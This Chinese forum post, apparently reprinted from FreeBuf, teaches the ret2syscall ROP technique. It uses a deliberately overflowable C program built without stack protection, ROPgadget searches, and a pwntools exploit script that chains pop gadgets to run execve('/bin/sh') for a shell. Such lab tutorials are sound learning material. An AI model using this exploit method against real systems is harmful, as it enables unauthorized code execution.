安全矩阵

 找回密码
 立即注册
搜索
查看: 3015|回复: 0

ret2syscall原理详解与实例分析

[复制链接]

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
发表于 2020-5-30 20:35:31 | 显示全部楼层 |阅读模式
本帖最后由 caiH 于 2020-5-30 20:39 编辑

本文章将于6月8日首发于freebuf平台

对于初学pwn的同学来说,在学习ret2syscall的时候,看到其原理为“控制程序执行系统调用,获取 shell”,那么怎么理解“控制程序执行系统调用,获取 shell”这句话呢?

0×01 背景知识

1、rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

2、gadgets:在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个gadget来完成我们的功能。gadget最后一般都有ret,因为我们需要将程序控制权(EIP)给下一个gadget。即让程序自动持续的选择堆栈中的指令依次执行。

3、ropgadgets:一个pwntools的一个命令行工具,用来具体寻找gadgets的。例如:我们从pop、ret序列当中寻找其中的eax

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
复制代码

4、在linux系统中,函数的调用是有一个系统调用号的。我们实验要调用的execve(“/bin/sh”,null,null)函数其系统调用号是11,即十六进制0xb。

0×02 原理详解

这里需要重点理解“系统调用”,从https://blog.csdn.net/qq_33948522/article/details/93880812了解到系统调用的原理。

对于初学pwn的同学来说,怎么理解上面的知识呢?我们不妨拿execve(“/bin/sh”,null,null)这个函数来理解上面内容。首先,其函数的调用过程为:

  1. 系统调用号,即 eax 应该为 0xb
  2. 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  3. 第二个参数,即 ecx 应该为 0
  4. 第三个参数,即 edx 应该为 0
复制代码

系统在运行的时候会使用上面四个寄存器,所以那么上面内容我们可以写为int 0×80(eax,ebx,ecx,edx)。只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0×80 就可执行对应的系统调用。

但是我们该怎么控制这些寄存器的值?

在我们最开始学习汇编函数的时候,我们最常用到的就是push,pop,ret指令,而这一次我们将使用pop和ret的组合来控制寄存器的值以及执行方向。例如:在一个栈上,假设栈顶的值为2,当我们pop eax,时,2就会存进eax寄存器。同样的,我们可以用同样的方法完成execve()函数参数的控制

  1. pop eax# 系统调用号载入, execve为0xb
  2. pop ebx# 第一个参数, /bin/sh的string
  3. pop ecx# 第二个参数,0
  4. pop edx# 第三个参数,0
复制代码

这样寄存器的值可以控制了。然后使用gadgets让这一连串的pop命令顺序连接执行 ,最后使用的ret指令 ,进而控制程序执行流程。

0×03  实例分析

这是我们的实验程序7.c,里面func函数里的read函数会发生溢出。

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12. char str[0x20];
  13. read(0,str,0x50);
  14. }
  15. int main()
  16. {
  17. func();
  18. return 0;
  19. }
复制代码

将其编译,不使用堆栈保护,且需要设置成静态编译即-static,否则将找不到这个程序的指令流。

  1. gcc -no-pie -fno-stack-protector  -static -m32  -o 7.exe 7.c
复制代码


找出其溢出位置:

通过ROPgadget这个工具来获取7.exe中这些指令的位置。

从pop、ret序列当中寻找其中的eax

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
复制代码


从pop、ret序列当中寻找其中的ebx、ecx、dex

  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
复制代码


找”/bin/sh”这个字符串的地址

  1. ROPgadget --binary ./7.exe --string "/bin/sh"
复制代码


int中断找”0×80″



  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80"
复制代码


写出exp

  1. from pwn import *

  2. context(arch="i386",os="linux")

  3. p=process('./7.exe')

  4. offset = 44//溢出位置

  5. add_eax=p32(0x080aaa06)// pop eax ; ret 的地址

  6. value_eax=p32(0xb) //eax的值是0xb

  7. add_edx_ecx_ebx=p32(0x0806f711)//pop edx;pop ecx; pop ebx ;ret 的地址

  8. value_ebx=p32(0x080ae008)//ebx指向/bin/sh的地址

  9. value_ecx=p32(0)//ecx的值为0

  10. value_edx=p32(0)//edx的值为0

  11. add_int=p32(0x0804a3d2)

  12. payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int

  13. p.sendline(payload)

  14. p.interactive()
复制代码

成功getsehll

0×04 总结

明白ret2syscall的原理重要的一步是明白在linux系统下是怎么进行系统调用的,理解系统调用的过程之后,构造payload也显得更为简单。

*本文作者:菜鸡CaiH,转载请注明来自FreeBuf.COM

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-3 20:31 , Processed in 0.013128 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表